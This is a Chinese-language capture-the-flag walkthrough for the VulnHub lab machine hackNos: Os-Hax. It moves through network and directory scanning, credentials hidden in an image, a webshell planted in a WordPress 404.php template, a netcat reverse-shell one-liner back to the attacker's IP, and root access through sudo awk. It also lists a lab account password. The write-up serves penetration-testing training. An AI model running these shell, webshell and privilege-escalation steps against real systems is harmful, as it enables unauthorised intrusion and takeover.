一.涉及的知识点
1.信息收集:端口扫描,目录扫描,图片信息查看
2.后台拿webshell
3.linux提权:sudo提权
二.实验环境
kali:10.77.74.14
靶机下载地址:hackNos: Os-Hax ~ VulnHub
三.信息收集
1.找到靶机的ip
第一种方法:使用netdiscover网络扫描工具:netdiscover -i 网卡名 -r ip网段
#-i参数后面网卡名
#-r参数后面跟ip网段
netdiscover -i eth0 -r 10.77.74.0/24
扫描的结果如下:10.77.74.237就是靶机的ip
第二种方法:nmap扫描整个网段
nmap ip网段
nmap 10.77.74.0/24
2.端口扫描
nmap -sV -sC -A ip
#-sV:对端口上的服务程序版本进行扫描
#-sC:使用脚本进行扫描,耗时长
#-A:强力扫描
#-oA:将nmap输出保存为三种主要格式
nmap -A -sV -sC 10.77.74.237 -oA Os-Hax
结果是有80端口和22端口
3.目录扫描
gobuster dir -u ip -w 字典
gobuster dir -u http://10.77.74.237 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
#这里选用kali自带的字典
查看结果:扫出了wordpress,image,css,js,html
访问wordpress,发现网站的布局很奇怪
查看源码,发现css的定义路径都为localhost
所以我们去etc/hosts文件绑定hosts,将localhost绑定为对方网站的ip
再打开网页看看,发现没什么问题
这里还发现了个web用户
4.图片信息查看
在刚才的目录扫描中,还有一个/img目录,访问看看,发现有一个可疑的照片flaghost.png
下载后用exiftool工具查看图片详细信息
也可以用strings查看图片的详细信息
通过以上两种方式能得到字符passw@45
拿到passw@45,尝试后台wordpress登录,发现不行
passw@45也可能是个目录,访问一下,发现它确实是一个目录
打开flag2.txt,解密,得到信息
利用解密出来的信息登录wordpress后台,发现成功
四.后台拿webshell
1.思路:
这套程序是一个wordpress,可以查查wordpress后台拿webshell.wordpress比较常见,可以积累积累,以后碰见wordpress后台拿shell就更快了.
同样为了方便查找路径和分析,也可以去网上下载源码
2.wordpress后台修改模板拿webshell
找到修改模板的地方
修改404.php,将一句话木马插进去
查找404.php的位置:这时可以利用源码,由于是在Twenty Nineteen,我们可以在源码快速找到
访问404.php,成功
五.提权提升
1.反弹shell
(1)kali机:
bash(为什么先bash后面会说明)
使用nc命令进行监听
nc -lvnp 6666
#-l:用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
#-p:指定端口
#-v:输出交互或出错信息,新手调试时尤为有用
#-n:仅数字IP地址,无DNS
(2)在对方的shell执行nc反弹:nc反弹的命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.77.74.14 6666 >/tmp/f
抓包,执行反弹shell命令
2.拿到shell出现的两个问题
(1)无法执行su登录
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
(2)当按上下左右键时会出现乱码
3.解决shell出现的两个问题
方法:
(1)在kaili使用bash-shell:输入命令bash
(2)使用nc进行监听: nc -lvnp 6666
(3)对方nc反弹
(4)得到反弹shell后进行python虚拟化终端,看对方是python3还是python
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
(5)使用ctrl+z把得到的反弹shell放到后台
(6)设置原始格式:stty -echo raw
(7)fg再回车调用后台任务
4.尝试用刚才获得的账号密码登录
web:Hacker@4514,登录,发现成功
读取flag
5.sudo提权
在我们得到账号后,可以尝试sudo提权
sudo -l:列出目前用户可执行与无法执行的指令,以及有root权限但不用密码的操作
sudo -l,发现awk不用密码且有root权限
awk提权:
sudo awk 'BEGIN {system("/bin/bash")}'
读取final.txt
六.总结
1.信息收集:
端口扫描和目录扫描端口扫描主要学习nmap工具,学习一些常用的参数
目录扫描有很多工具,例如本次使用的gobuster,还有7kbstorm,dirsearch,dirsearch
2.后台拿webshell:
首先,先考虑进入后台,可以通过sql注入得到账号密码,穷举看看有无弱口令或者说信息泄露等方式.然后掌握后台拿webshell可能存在的地方,例如:修改模板文件,上传压缩文件然后自解压,修改系统配置文件,日志等待都可能能拿到webshell.也可以积累一些常见后台拿webshell的方法,例如wordpress,dedecms等等
3.linux提权:
本次靶机是有账号的前提下,进行了sudo提权的利用,且sudo提权的原理是/etc/sudoers文件配置不当.当然还有很多linux提权的方法,例如:suid提权,环境劫持,passwd提权,计划任务提权等,需要我们掌握利用方式和原理.